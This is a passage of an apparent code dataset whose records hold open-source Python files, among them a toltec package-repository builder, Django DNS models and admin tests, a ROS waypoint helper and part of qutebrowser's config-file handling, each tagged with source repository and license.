PackageStatus.Missing\n\n os.makedirs(os.path.dirname(local_path), exist_ok=True)\n\n with open(local_path, \"wb\") as local:\n for chunk in req.iter_content(chunk_size=1024):\n local.write(chunk)\n\n last_modified = int(\n datetime.strptime(\n req.headers[\"Last-Modified\"],\n HTTP_DATE_FORMAT,\n ).timestamp()\n )\n\n os.utime(local_path, (last_modified, last_modified))\n return PackageStatus.Fetched\n\n def order_dependencies(\n self,\n generic_recipes: List[GenericRecipe],\n ) -> Iterable[GenericRecipe]:\n \"\"\"\n Order a list of recipes so that all recipes that a recipe needs\n come before that recipe in the list.\n\n :param generic_recipes: list of recipes to order\n :returns: ordered list of recipes\n :raises graphlib.CycleError: if a circular dependency exists\n \"\"\"\n # See \n toposort: TopologicalSorter[ # pylint:disable=unsubscriptable-object\n str\n ] = TopologicalSorter()\n parent_recipes = {}\n\n for generic_recipe in generic_recipes:\n for recipe in generic_recipe.recipes.values():\n for package in recipe.packages.values():\n parent_recipes[package.name] = generic_recipe.name\n\n for generic_recipe in generic_recipes:\n deps = []\n\n for recipe in generic_recipe.recipes.values():\n for dep in recipe.makedepends:\n if (\n dep.kind == DependencyKind.Host\n and dep.package in parent_recipes\n ):\n deps.append(parent_recipes[dep.package])\n\n toposort.add(generic_recipe.name, *deps)\n\n return [self.generic_recipes[name] for name in toposort.static_order()]\n\n def make_index(self) -> None:\n \"\"\"Generate index files for all the packages in the repo.\"\"\"\n logger.info(\"Generating package indices\")\n\n # Gather all available architectures\n archs: Set[str] = set()\n for generic_recipe in self.generic_recipes.values():\n archs.update(generic_recipe.recipes.keys())\n\n # Generate one index per architecture\n for arch in archs:\n arch_dir = os.path.join(self.repo_dir, arch)\n os.makedirs(arch_dir, exist_ok=True)\n\n index_path = os.path.join(arch_dir, \"Packages\")\n index_gzip_path = os.path.join(arch_dir, \"Packages.gz\")\n\n with open(index_path, \"w\") as index_file:\n with gzip.open(index_gzip_path, \"wt\") as index_gzip_file:\n for generic_recipe in self.generic_recipes.values():\n if not arch in generic_recipe.recipes:\n continue\n\n recipe = generic_recipe.recipes[arch]\n\n for package in recipe.packages.values():\n filename = package.filename()\n local_path = os.path.join(self.repo_dir, filename)\n\n if not os.path.isfile(local_path):\n continue\n\n control = package.control_fields()\n control += textwrap.dedent(\n f\"\"\"\\\n Filename: {os.path.basename(filename)}\n SHA256sum: {file_sha256(local_path)}\n Size: {os.path.getsize(local_path)}\n\n \"\"\"\n )\n\n index_file.write(control)\n index_gzip_file.write(control)\n\n def make_listing(self) -> None:\n \"\"\"Generate the static web listing for packages in the repo.\"\"\"\n logger.info(\"Generating web listing\")\n\n packages = [\n package\n for generic_recipe in self.generic_recipes.values()\n for recipe in generic_recipe.recipes.values()\n for package in recipe.packages.values()\n ]\n\n # Group packages by section and then by shared package name\n sections = {\n section: group_by(section_packages, lambda package: package.name)\n for section, section_packages in group_by(\n packages, lambda package: package.section\n ).items()\n }\n\n listing_path = os.path.join(self.repo_dir, \"index.html\")\n template = templating.env.get_template(\"listing.html\")\n\n with open(listing_path, \"w\") as listing_file:\n listing_file.write(template.render(sections=sections))\n", "source": "RobotCaleb/toltec", "license": "MIT"} {"text": "from django.test import TestCase, Client\nfrom django.contrib.auth import get_user_model\nfrom django.urls import reverse\n\n\nclass AdminTest(TestCase):\n def setUp(self):\n ''''setting up test user and test super'''\n self.client = Client()\n self.admin_user = get_user_model().objects.create_superuser(\n email='anu@gmail.com',\n password='123'\n )\n self.client.force_login(self.admin_user)\n self.user = get_user_model().objects.create_user(\n email='ashok@gmail.com',\n password='456abc',\n name='hisnameismathew'\n )\n\n def test_for_isUserListed(self):\n '''checking whether the user is listed in userlist'''\n url = reverse('admin:core_user_changelist')\n res = self.client.get(url)\n\n self.assertContains(res,self.user.name)\n self.assertContains(res,self.user.email)\n\n def test_user_page_changes(self):\n \"\"\"Test whether the created user page allows changes\"\"\"\n url = reverse('admin:core_user_change', args=[self.user.id])#gets a dummy url for change in user page\n res = self.client.get(url)\n\n self.assertEqual(res.status_code, 200)\n\n def test_add_newuser_page(self):\n \"\"\"Test that the create user page works\"\"\"\n url = reverse('admin:core_user_add')\n res = self.client.get(url)\n\n self.assertEqual(res.status_code, 200) \n", "source": "ashok-kavungal/python-recipieAPI", "license": "MIT"} {"text": "#!/usr/bin/env python\n\nimport math\n\n# FYI there are 8 of them\n_BLOCKS = \"\u258f\u258e\u258d\u258c\u258b\u258a\u2589\u2588\"\n_MAX_WIDTH = 128\n\ndef sparkbarh(numbers=[], width=8, value_label=False, uniform_width=False):\n assert width > 0, \"Requires non-negative width\"\n assert width <= _MAX_WIDTH, \"Max width is 128 characters.\"\n\n if len(numbers) == 0:\n return []\n\n # find max value\n max_value = _find_max_value(numbers)\n if max_value is None:\n return [\"\"] * len(numbers)\n\n has_negative_numbers = _has_negative_numbers(numbers)\n assert has_negative_numbers == False, \"There are negative numbers\"\n\n # if uniform width, then determine needed padding\n if uniform_width and value_label:\n full_width = width + 1 + len(str(max_value))\n elif uniform_width:\n full_width = width\n else:\n full_width = 0\n\n return [sparkbarh_cell(x, max_value, width, value_label).ljust(full_width) for x in iter(numbers)]\n\n\ndef _find_max_value(numbers):\n not_none = [x for x in numbers if x is not None]\n if len(not_none) > 0:\n return max(not_none)\n else:\n return None\n\ndef _has_negative_numbers(numbers):\n for number in numbers:\n if number is not None and number < 0:\n return True\n return False\n\ndef sparkbarh_cell(value, max_value, width=8, value_label=False):\n assert width > 0, \"Requires non-negative width\"\n assert width <= _MAX_WIDTH, \"Max width is 128 characters.\"\n\n if value is None:\n return \"\"\n assert value <= max_value, \"Value to draw exceeds max value\"\n\n bar_length = width * (value / max_value)\n full_bars = _BLOCKS[7] * math.floor(bar_length)\n remain_bar_length = bar_length % 1\n\n remain_bar_index = round(remain_bar_length * 8) - 1\n if remain_bar_length > 0 and remain_bar_index >= 0:\n partial_bars = _BLOCKS[remain_bar_index]\n else:\n partial_bars = \"\"\n\n if value_label:\n return \"{}{} {}\".format(full_bars, partial_bars, value)\n else:\n return \"{}{}\".format(full_bars, partial_bars)\n\n", "source": "kyledemeule/sparkbar", "license": "MIT"} {"text": "from django.core.exceptions import ObjectDoesNotExist, ValidationError\nfrom django.db import models\n\nimport cydns\nfrom cyder.base.models import BaseModel\nfrom cyder.cydns.domain.models import Domain\nfrom cyder.base.mixins import ObjectUrlMixin, DisplayMixin\nfrom cyder.cydns.view.models import View\nfrom cyder.cydns.validation import validate_first_label, validate_name\nfrom cyder.cydns.validation import validate_ttl\n\n\nclass LabelDomainMixin(models.Model):\n \"\"\"\n This class provides common functionality that many DNS record\n classes share. This includes a foreign key to the ``domain`` table\n and a ``label`` CharField.\n\n If you plan on using the ``unique_together`` constraint on a Model\n that inherits from ``LabelDomainMixin``, you must include ``domain`` and\n ``label`` explicitly if you need them to.\n\n All common records have a ``fqdn`` field. This field is updated\n every time the object is saved::\n\n fqdn = name + domain.name\n\n or if name == ''\n\n fqdn = domain.name\n\n This field makes searching for records much easier. Instead of\n looking at ``obj.label`` together with ``obj.domain.name``, you can\n just search the ``obj.fqdn`` field.\n\n \"the total number of octets that represent a name (i.e., the sum of\n all label octets and label lengths) is limited to 255\" - RFC 4471\n \"\"\"\n domain = models.ForeignKey(Domain, null=False)\n # \"The length of any one label is limited to between 1 and 63 octets.\"\n # -- RFC218\n label = models.CharField(\n max_length=63, blank=True, null=True,\n validators=[validate_first_label], help_text=\"Short name of the fqdn\"\n )\n fqdn = models.CharField(\n max_length=255, blank=True, null=True, validators=[validate_name],\n db_index=True\n )\n\n class Meta:\n abstract = True\n\n\nclass ViewMixin(models.Model):\n def validate_views(instance, views):\n for view in views:\n instance.clean_views(views)\n\n views = models.ManyToManyField(\n View, blank=True, validators=[validate_views]\n )\n\n class Meta:\n abstract = True\n\n def clean_views(self, views):\n \"\"\"cleaned_data is the data that is going to be called with for\n updating an existing or creating a new object. Classes should implement\n this function according to their specific needs.\n \"\"\"\n for view in views:\n if hasattr(self, 'domain'):\n self.check_no_ns_soa_condition(self.domain, view=view)\n if hasattr(self, 'reverse_domain'):\n self.check_no_ns_soa_condition(self.reverse_domain, view=view)\n\n def check_no_ns_soa_condition(self, domain, view=None):\n if domain.soa:\n fail = False\n root_domain = domain.soa.root_domain\n if root_domain and not root_domain.nameserver_set.exists():\n fail = True\n elif (view and\n not root_domain.nameserver_set.filter(views=view).exists()):\n fail = True\n if fail:\n raise ValidationError(\n \"The zone you are trying to assign this record into does \"\n \"not have an NS record, thus cannnot support other \"\n \"records.\")\n\n\nclass CydnsRecord(BaseModel, ViewMixin, DisplayMixin, ObjectUrlMixin):\n ttl = models.PositiveIntegerField(default=3600, blank=True, null=True,\n validators=[validate_ttl],\n help_text=\"Time to Live of this record\")\n description = models.CharField(max_length=1000, blank=True, null=True,\n help_text=\"A description of this record.\")\n\n class Meta:\n abstract = True\n\n def __str__(self):\n self.set_fqdn()\n return self.bind_render_record()\n\n def __repr__(self):\n return \"<{0} '{1}'>\".format(self.rdtype, str(self))\n\n @classmethod\n def get_api_fields(cls):\n \"\"\"\n The purpose of this is to help the API decide which fields to expose\n to the user when they are creating and updateing an Object. This\n function should be implemented in inheriting models and overriden to\n provide additional fields. Tastypie ignores any relational fields on\n the model. See the ModelResource definitions for view and domain\n fields.\n \"\"\"\n return ['fqdn', 'ttl', 'description', 'views']\n\n def clean(self):\n # The Nameserver and subclasses of BaseAddressRecord do not call this\n # function\n self.set_fqdn()\n self.check_TLD_condition()\n self.check_no_ns_soa_condition(self.domain)\n self.check_for_delegation()\n if self.rdtype != 'CNAME':\n self.check_for_cname()\n\n def delete(self, *args, **kwargs):\n if self.domain.soa:\n self.domain.soa.schedule_rebuild()\n\n from cyder.cydns.utils import prune_tree\n call_prune_tree = kwargs.pop('call_prune_tree', True)\n objs_domain = self.domain\n\n super(CydnsRecord, self).delete(*args, **kwargs)\n\n if call_prune_tree:\n prune_tree(objs_domain)\n\n def save(self, *args, **kwargs):\n self.full_clean()\n\n if self.pk:\n # We need to get the domain from the db. If it's not our current\n # domain, call prune_tree on the domain in the db later.\n db_domain = self.__class__.objects.get(pk=self.pk).domain\n if self.domain == db_domain:\n db_domain = None\n else:\n db_domain = None\n\n no_build = kwargs.pop(\"no_build\", False)\n super(CydnsRecord, self).save(*args, **kwargs)\n\n if no_build:\n pass\n else:\n # Mark the soa\n if self.domain.soa:\n self.domain.soa.schedule_rebuild()\n\n if db_domain:\n from cyder.cydns.utils import prune_tree\n prune_tree(db_domain)\n\n def set_fqdn(self):\n try:\n if self.label == '':\n self.fqdn = self.domain.name\n else:\n self.fqdn = \"{0}.{1}\".format(self.label,\n self.domain.name)\n except ObjectDoesNotExist:\n return\n\n def check_for_cname(self):\n \"\"\"\n \"If a CNAME RR is preent at a node, no other data should be\n present; this ensures that the data for a canonical name and its\n aliases cannot be different.\"\n\n -- `RFC 1034 `_\n\n Call this function in models that can't overlap with an existing\n CNAME.\n \"\"\"\n CNAME = cydns.cname.models.CNAME\n if hasattr(self, 'label'):\n if CNAME.objects.filter(domain=self.domain,\n label=self.label).exists():\n raise ValidationError(\"A CNAME with this name already exists.\")\n else:\n if CNAME.objects.filter(label='', domain=self.domain).exists():\n raise ValidationError(\"A CNAME with this name already exists.\")\n\n def check_for_delegation(self):\n \"\"\"\n If an object's domain is delegated it should not be able to\n be changed. Delegated domains cannot have objects created in\n them.\n \"\"\"\n if not (self.domain and self.domain.delegated):\n return\n if self.domain.nameserver_set.filter(server=self.fqdn).exists():\n return\n else:\n # Confusing error messege?\n raise ValidationError(\n \"You can only create an a records in a delegated domain that \"\n \"has an NS record pointing at it.\"\n )\n\n def check_TLD_condition(self):\n domain = Domain.objects.filter(name=self.fqdn)\n if not domain:\n return\n if self.label == '' and domain[0] == self.domain:\n return # This is allowed\n else:\n raise ValidationError(\"You cannot create an record that points \"\n \"to the top level of another domain.\")\n", "source": "ngokevin/chili", "license": "BSD-3-Clause"} {"text": "#!/usr/bin/env python\n\nimport rospy\nimport roslib\nimport numpy,math,tf,threading\nfrom tf import transformations as trns\nfrom nav_msgs.msg import Odometry\nfrom geometry_msgs.msg import PoseStamped, Point\nfrom navigator_tools import geometry_helpers as gh\n\nrospy.init_node('move_helper')\n\nclass move_helper(object):\n\n def __init__(self):\n\n self.odom = Odometry()\n self.pose_pub = rospy.Publisher(\"/waypoint\", PoseStamped, queue_size = 0)\n rospy.Subscriber(\"/odom\", Odometry, self.odom_cb)\n rospy.Subscriber(\"/move_helper\", Point, self.move_cb)\n rospy.spin()\n\n def odom_cb(self, msg):\n self.odom = msg\n\n def move_cb(self, msg):\n\n to_send = PoseStamped()\n to_send.header.frame_id = \"/enu\"\n\n R = trns.quaternion_matrix([self.odom.pose.pose.orientation.x, self.odom.pose.pose.orientation.y, self.odom.pose.pose.orientation.z, self.odom.pose.pose.orientation.w])[:2, :2]\n theta = gh.quat_to_euler(self.odom.pose.pose.orientation)\n\n current = numpy.array([self.odom.pose.pose.position.x, self.odom.pose.pose.position.y, numpy.rad2deg(theta[2])])\n shift = numpy.concatenate((R.dot([msg.x, msg.y]), [msg.z]))\n desired = current + shift\n desired_quaternion = trns.quaternion_from_euler(0, 0, numpy.deg2rad(desired[2]))\n\n to_send.pose.position.x = desired[0]\n to_send.pose.position.y = desired[1]\n to_send.pose.orientation.x, to_send.pose.orientation.y, to_send.pose.orientation.z, to_send.pose.orientation.w = desired_quaternion\n\n self.pose_pub.publish(to_send)\n\n\n\nif __name__ == \"__main__\":\n\n helper = move_helper()\n", "source": "saltyan007/kill_test", "license": "MIT"} {"text": "#!/usr/bin/env python\n\nimport os\nimport sys\n\nfrom setuptools import setup, find_packages\n\n__version__ = '2.1.0'\n\nif sys.version_info < (3, 6):\n sys.exit('Error: tlr requires Python 3.6 or above')\n\n\ndef read(filename):\n \"\"\"Read file contents.\"\"\"\n return open(os.path.join(os.path.dirname(__file__), filename)).read()\n\n\nsetup(\n name='tlr',\n version=__version__,\n description=('VOGAMOS (Volcanic Gas Monitoring System) data acquisition '\n 'service library'),\n long_description=read('README.md'),\n long_description_content_type='text/markdown',\n license='MIT',\n install_requires=[\n 'mysqlclient>=1.4.6',\n 'python-decouple',\n 'pytz',\n 'sentry-sdk',\n 'SQLAlchemy',\n ],\n author='BPPTKG',\n author_email='bpptkg@esdm.go.id',\n url='https://github.com/bpptkg/tlr',\n zip_safe=False,\n packages=find_packages(exclude=['docs', 'examples', 'tests']),\n python_requires='>=3.6',\n classifiers=[\n 'Development Status :: 5 - Production/Stable',\n 'Environment :: Console',\n 'Operating System :: POSIX :: Linux',\n 'Intended Audience :: Science/Research',\n 'Natural Language :: English',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n ]\n)\n", "source": "bpptkg/tlr", "license": "MIT"} {"text": "#T(\u00b0F) = 20\u00b0C \u00d7 9/5 + 32 = 68 \u00b0F\ncelsius = float(input())\ntemperature_farenhait = celsius * 1.8 + 32\nprint(f'{temperature_farenhait:.2f}')", "source": "Rohitm619/Softuni-Python-Basic", "license": "MIT"} {"text": "from time import sleep\n\nimport rnc.corpora as rnc\nfrom tests.corpora.template import TemplateCorpusTest\n\n\nclass TestMainCorpus(TemplateCorpusTest):\n corp_type = rnc.MainCorpus\n\n # for test working with file\n corp_normal_obj = corp_type('\u0442\u044b', 1, dpp=5, spd=1)\n corp_kwic_obj = corp_type('\u0442\u044b', 1, dpp=5, spd=1, out='kwic')\n\n corp_normal_obj.request_examples()\n sleep(5)\n corp_kwic_obj.request_examples()\n sleep(5)\n", "source": "kunansy/RNC", "license": "MIT"} {"text": "from django.apps import AppConfig\n\n\nclass ScanModelsConfig(AppConfig):\n name = \"scan_models\"\n", "source": "jessielaf/django-scan-models", "license": "MIT"} {"text": "# vim: ft=python fileencoding=utf-8 sts=4 sw=4 et:\n\n# Copyright 2014-2021 Florian Bruhin (The Compiler) \n#\n# This file is part of qutebrowser.\n#\n# qutebrowser is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# qutebrowser is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with qutebrowser. If not, see .\n\n\"\"\"Configuration files residing on disk.\"\"\"\n\nimport enum\nimport pathlib\nimport types\nimport os.path\nimport sys\nimport textwrap\nimport traceback\nimport configparser\nimport contextlib\nimport re\nfrom typing import (TYPE_CHECKING, Any, Dict, Iterable, Iterator, List, Mapping,\n MutableMapping, Optional, cast)\n\nimport yaml\nfrom PyQt5.QtCore import pyqtSignal, pyqtSlot, QObject, QSettings, qVersion\n\nimport qutebrowser\nfrom qutebrowser.config import (configexc, config, configdata, configutils,\n configtypes)\nfrom qutebrowser.keyinput import keyutils\nfrom qutebrowser.utils import standarddir, utils, qtutils, log, urlmatch, version\n\nif TYPE_CHECKING:\n from qutebrowser.misc import savemanager\n\n\n# The StateConfig instance\nstate = cast('StateConfig', None)\n\n\n_SettingsType = Dict[str, Dict[str, Any]]\n\n\nclass VersionChange(enum.Enum):\n\n \"\"\"The type of version change when comparing two versions.\"\"\"\n\n unknown = enum.auto()\n equal = enum.auto()\n downgrade = enum.auto()\n\n patch = enum.auto()\n minor = enum.auto()\n major = enum.auto()\n\n def matches_filter(self, filterstr: str) -> bool:\n \"\"\"Whether the change matches a given filter.\n\n This is intended to use filters like \"major\" (show major only), \"minor\" (show\n major/minor) or \"patch\" (show all changes).\n \"\"\"\n allowed_values: Dict[str, List[VersionChange]] = {\n 'major': [VersionChange.major],\n 'minor': [VersionChange.major, VersionChange.minor],\n 'patch': [VersionChange.major, VersionChange.minor, VersionChange.patch],\n 'never': [],\n }\n return self in allowed_values[filterstr]\n\n\nclass StateConfig(configparser.ConfigParser):\n\n \"\"\"The \"state\" file saving various application state.\"\"\"\n\n def __init__(self) -> None:\n super().__init__()\n self._filename = os.path.join(standarddir.data(), 'state')\n self.read(self._filename, encoding='utf-8')\n\n self.qt_version_changed = False\n self.qtwe_version_changed = False\n self.qutebrowser_version_changed = VersionChange.unknown\n self._set_changed_attributes()\n\n for sect in ['general', 'geometry', 'inspector']:\n try:\n self.add_section(sect)\n except configparser.DuplicateSectionError:\n pass\n\n deleted_keys = [\n ('general', 'fooled'),\n ('general', 'backend-warning-shown'),\n ('general', 'old-qt-warning-shown'),\n ('geometry', 'inspector'),\n ]\n for sect, key in deleted_keys:\n self[sect].pop(key, None)\n\n self['general']['qt_version'] = qVersion()\n self['general']['qtwe_version'] = self._qtwe_version_str()\n self['general']['version'] = qutebrowser.__version__\n\n def _qtwe_version_str(self) -> str:\n \"\"\"Get the QtWebEngine version string.\n\n Note that it's too early to use objects.backend here...\n \"\"\"\n try:\n import PyQt5.QtWebEngineWidgets # pylint: disable=unused-import\n except ImportError:\n return 'no'\n return str(version.qtwebengine_versions(avoid_init=True).webengine)\n\n def _set_changed_attributes(self) -> None:\n \"\"\"Set qt_version_changed/qutebrowser_version_changed attributes.\n\n We handle this here, so we can avoid setting qt_version_changed if\n the config is brand new, but can still set it when qt_version wasn't\n there before...\n \"\"\"\n if 'general' not in self:\n return\n\n old_qt_version = self['general'].get('qt_version', None)\n self.qt_version_changed = old_qt_version != qVersion()\n\n old_qtwe_version = self['general'].get('qtwe_version', None)\n self.qtwe_version_changed = old_qtwe_version != self._qtwe_version_str()\n\n old_qutebrowser_version = self['general'].get('version', None)\n if old_qutebrowser_version is None:\n # https://github.com/python/typeshed/issues/2093\n return # type: ignore[unreachable]\n\n try:\n old_version = utils.VersionNumber.parse(old_qutebrowser_version)\n except ValueError:\n log.init.warning(f\"Unable to parse old version {old_qutebrowser_version}\")\n return\n\n new_version = utils.VersionNumber.parse(qutebrowser.__version__)\n\n if old_version == new_version:\n self.qutebrowser_version_changed = VersionChange.equal\n elif new_version < old_version:\n self.qutebrowser_version_changed = VersionChange.downgrade\n elif old_version.segments[:2] == new_version.segments[:2]:\n self.qutebrowser_version_changed = VersionChange.patch\n elif old_version.major == new_version.major:\n self.qutebrowser_version_changed = VersionChange.minor\n else:\n self.qutebrowser_version_changed = VersionChange.major\n\n def init_save_manager(self,\n save_manager: 'savemanager.SaveManager') -> None:\n \"\"\"Make sure the config gets saved properly.\n\n We do this outside of __init__ because the config gets created before\n the save_manager exists.\n \"\"\"\n save_manager.add_saveable('state-config', self._save)\n\n def _save(self) -> None:\n \"\"\"Save the state file to the configured location.\"\"\"\n with open(self._filename, 'w', encoding='utf-8') as f:\n self.write(f)\n\n\nclass YamlConfig(QObject):\n\n \"\"\"A config stored on disk as YAML file.\n\n Class attributes:\n VERSION: The current version number of the config file.\n \"\"\"\n\n VERSION = 2\n changed = pyqtSignal()\n\n def __init__(self, parent: QObject = None) -> None:\n super().__init__(parent)\n self._filename = os.path.join(standarddir.config(auto=True),\n 'autoconfig.yml')\n self._dirty = False\n\n self._values: Dict[str, configutils.Values] = {}\n for name, opt in configdata.DATA.items():\n self._values[name] = configutils.Values(opt)\n\n def init_save_manager(self,\n save_manager: 'savemanager.SaveManager') -> None:\n \"\"\"Make sure the config gets saved properly.\n\n We do this outside of __init__ because the config gets created before\n the save_manager exists.\n \"\"\"\n save_manager.add_saveable('yaml-config', self._save, self.changed)\n\n def __iter__(self) -> Iterator[configutils.Values]:\n \"\"\"Iterate over configutils.Values items.\"\"\"\n yield from self._values.values()\n\n @pyqtSlot()\n def _mark_changed(self) -> None:\n \"\"\"Mark the YAML config as changed.\"\"\"\n self._dirty = True\n self.changed.emit()\n\n def _save(self) -> None:\n \"\"\"Save the settings to the YAML file if they've changed.\"\"\"\n if not self._dirty:\n return\n\n settings: _SettingsType = {}\n for name, values in sorted(self._values.items()):\n if not values:\n continue\n settings[name] = {}\n for scoped in values:\n key = ('global' if scoped.pattern is None\n else str(scoped.pattern))\n settings[name][key] = scoped.value\n\n data = {'config_version': self.VERSION, 'settings': settings}\n with qtutils.savefile_open(self._filename) as f:\n f.write(textwrap.dedent(\"\"\"\n # If a config.py file exists, this file is ignored unless it's explicitly loaded\n # via config.load_autoconfig(). For more information, see:\n # https://github.com/qutebrowser/qutebrowser/blob/master/doc/help/configuring.asciidoc#loading-autoconfigyml\n # DO NOT edit this file by hand, qutebrowser will overwrite it.\n # Instead, create a config.py - see :help for details.\n\n \"\"\".lstrip('\\n')))\n utils.yaml_dump(data, f)\n\n def _pop_object(self, yaml_data: Any, key: str, typ: type) -> Any:\n \"\"\"Get a global object from the given data.\"\"\"\n if not isinstance(yaml_data, dict):\n desc = configexc.ConfigErrorDesc(\"While loading data\",\n \"Toplevel object is not a dict\")\n raise configexc.ConfigFileErrors('autoconfig.yml', [desc])\n\n if key not in yaml_data:\n desc = configexc.ConfigErrorDesc(\n \"While loading data\",\n \"Toplevel object does not contain '{}' key\".format(key))\n raise configexc.ConfigFileErrors('autoconfig.yml', [desc])\n\n data = yaml_data.pop(key)\n\n if not isinstance(data, typ):\n desc = configexc.ConfigErrorDesc(\n \"While loading data\",\n \"'{}' object is not a {}\".format(key, typ.__name__))\n raise configexc.ConfigFileErrors('autoconfig.yml', [desc])\n\n return data\n\n def load(self) -> None:\n \"\"\"Load configuration from the configured YAML file.\"\"\"\n try:\n with open(self._filename, 'r', encoding='utf-8') as f:\n yaml_data = utils.yaml_load(f)\n except FileNotFoundError:\n return\n except OSError as e:\n desc = configexc.ConfigErrorDesc(\"While reading\", e)\n raise configexc.ConfigFileErrors('autoconfig.yml', [desc])\n except yaml.YAMLError as e:\n desc = configexc.ConfigErrorDesc(\"While parsing\", e)\n raise configexc.ConfigFileErrors('autoconfig.yml', [desc])\n\n config_version = self._pop_object(yaml_data, 'config_version', int)\n if config_version == 1:\n settings = self._load_legacy_settings_object(yaml_data)\n self._mark_changed()\n elif config_version > self.VERSION:\n desc = configexc.ConfigErrorDesc(\n \"While reading\",\n \"Can't read config from incompatible newer version\")\n raise configexc.ConfigFileErrors('autoconfig.yml', [desc])\n else:\n settings = self._load_settings_object(yaml_data)\n self._dirty = False\n\n migrations = YamlMigrations(settings, parent=self)\n migrations.changed.connect(self._mark_changed)\n migrations.migrate()\n\n self._validate_names(settings)\n self._build_values(settings)\n\n def _load_settings_object(self, yaml_data: Any) -> '_SettingsType':\n \"\"\"Load the settings from the settings: key.\"\"\"\n return self._pop_object(yaml_data, 'settings', dict)\n\n def _load_legacy_settings_object(self, yaml_data: Any) -> '_SettingsType':\n data = self._pop_object(yaml_data, 'global', dict)\n settings = {}\n for name, value in data.items():\n settings[name] = {'global': value}\n return settings\n\n def _build_values(self, settings: Mapping) -> None:\n \"\"\"Build up self._values from the values in the given dict.\"\"\"\n errors = []\n for name, yaml_values in settings.items():\n if not isinstance(yaml_values, dict):\n errors.append(configexc.ConfigErrorDesc(\n \"While parsing {!r}\".format(name), \"value is not a dict\"))\n continue\n\n values = configutils.Values(configdata.DATA[name])\n if 'global' in yaml_values:\n values.add(yaml_values.pop('global'))\n\n for pattern, value in yaml_values.items():\n if not isinstance(pattern, str):\n errors.append(configexc.ConfigErrorDesc(\n \"While parsing {!r}\".format(name),\n \"pattern is not of type string\"))\n continue\n try:\n urlpattern = urlmatch.UrlPattern(pattern)\n except urlmatch.ParseError as e:\n errors.append(configexc.ConfigErrorDesc(\n \"While parsing pattern {!r} for {!r}\"\n .format(pattern, name), e))\n continue\n values.add(value, urlpattern)\n\n self._values[name] = values\n\n if errors:\n raise configexc.ConfigFileErrors('autoconfig.yml', errors)\n\n def _validate_names(self, settings: _SettingsType) -> None:\n \"\"\"Make sure all settings exist.\"\"\"\n unknown = []\n for name in settings:\n if name not in configdata.DATA:\n unknown.append(name)\n\n if unknown:\n errors = [configexc.ConfigErrorDesc(\"While loading options\",\n \"Unknown option {}\".format(e))\n for e in sorted(unknown)]\n raise configexc.ConfigFileErrors('autoconfig.yml', errors)\n\n def set_obj(self, name: str, value: Any, *,\n pattern: urlmatch.UrlPattern = None) -> None:\n \"\"\"Set the given setting to the given value.\"\"\"\n self._values[name].add(value, pattern)\n self._mark_changed()\n\n def unset(self, name: str, *, pattern: urlmatch.UrlPattern = None) -> None:\n \"\"\"Remove the given option name if it's configured.\"\"\"\n changed = self._values[name].remove(pattern)\n if changed:\n self._mark_changed()\n\n def clear(self) -> None:\n \"\"\"Clear all values from the YAML file.\"\"\"\n for values in self._values.values():\n values.clear()\n self._mark_changed()\n\n\nclass YamlMigrations(QObject):\n\n \"\"\"Automated migrations for autoconfig.yml.\"\"\"\n\n changed = pyqtSignal()\n\n def __init__(self, settings: _SettingsType,\n parent: QObject = None) -> None:\n super().__init__(parent)\n self._settings = settings\n\n def migrate(self) -> None:\n \"\"\"Migrate older configs to the newest format.\"\"\"\n self._migrate_configdata()\n self._migrate_bindings_default()\n self._migrate_font_default_family()\n self._migrate_font_replacements()\n\n self._migrate_bool('tabs.favicons.show', 'always', 'never')\n self._migrate_bool('scrolling.bar', 'always', 'overlay')\n self._migrate_bool('qt.force_software_rendering',\n 'software-opengl', 'none')\n self._migrate_renamed_bool(\n old_name='content.webrtc_public_interfaces_only',\n new_name='content.webrtc_ip_handling_policy',\n true_value='default-public-interface-only',\n false_value='all-interfaces')\n self._migrate_renamed_bool(\n old_name='tabs.persist_mode_on_change',\n new_name='tabs.mode_on_change',\n true_value='persist',\n false_value='normal')\n self._migrate_renamed_bool(\n old_name='statusbar.hide',\n new_name='statusbar.show',\n true_value='never',\n false_value='always')\n self._migrate_renamed_bool(\n old_name='content.ssl_strict',\n new_name='content.tls.certificate_errors',\n true_value='block',\n false_value='load-insecurely',\n ask_value='ask',\n )\n\n for setting in ['colors.webpage.force_dark_color_scheme',\n 'colors.webpage.prefers_color_scheme_dark']:\n self._migrate_renamed_bool(\n old_name=setting,\n new_name='colors.webpage.preferred_color_scheme',\n true_value='dark',\n false_value='auto',\n )\n\n for setting in ['tabs.title.format',\n 'tabs.title.format_pinned',\n 'window.title_format']:\n self._migrate_string_value(setting,\n r'(? None:\n \"\"\"Migrate simple renamed/deleted options.\"\"\"\n for name in list(self._settings):\n if name in configdata.MIGRATIONS.renamed:\n new_name = configdata.MIGRATIONS.renamed[name]\n log.config.debug(\"Renaming {} to {}\".format(name, new_name))\n self._settings[new_name] = self._settings[name]\n del self._settings[name]\n self.changed.emit()\n elif name in configdata.MIGRATIONS.deleted:\n log.config.debug(\"Removing {}\".format(name))\n del self._settings[name]\n self.changed.emit()\n\n def _migrate_bindings_default(self) -> None:\n \"\"\"bindings.default can't be set in autoconfig.yml anymore.\n\n => Ignore old values.\n \"\"\"\n if 'bindings.default' not in self._settings:\n return\n\n del self._settings['bindings.default']\n self.changed.emit()\n\n def _migrate_font_default_family(self) -> None:\n old_name = 'fonts.monospace'\n new_name = 'fonts.default_family'\n\n if old_name not in self._settings:\n return\n\n old_default_fonts = (\n 'Monospace, \"DejaVu Sans Mono\", Monaco, '\n '\"Bitstream Vera Sans Mono\", \"Andale Mono\", \"Courier New\", '\n 'Courier, \"Liberation Mono\", monospace, Fixed, Consolas, Terminal'\n )\n\n self._settings[new_name] = {}\n\n for scope, val in self._settings[old_name].items():\n old_fonts = val.replace(old_default_fonts, '').rstrip(' ,')\n new_fonts = configutils.FontFamilies.from_str(old_fonts)\n self._settings[new_name][scope] = list(new_fonts)\n\n del self._settings[old_name]\n self.changed.emit()\n\n def _migrate_font_replacements(self) -> None:\n \"\"\"Replace 'monospace' replacements by 'default_family'.\"\"\"\n for name, values in self._settings.items():\n if not isinstance(values, dict):\n continue\n\n try:\n opt = configdata.DATA[name]\n except KeyError:\n continue\n\n if not 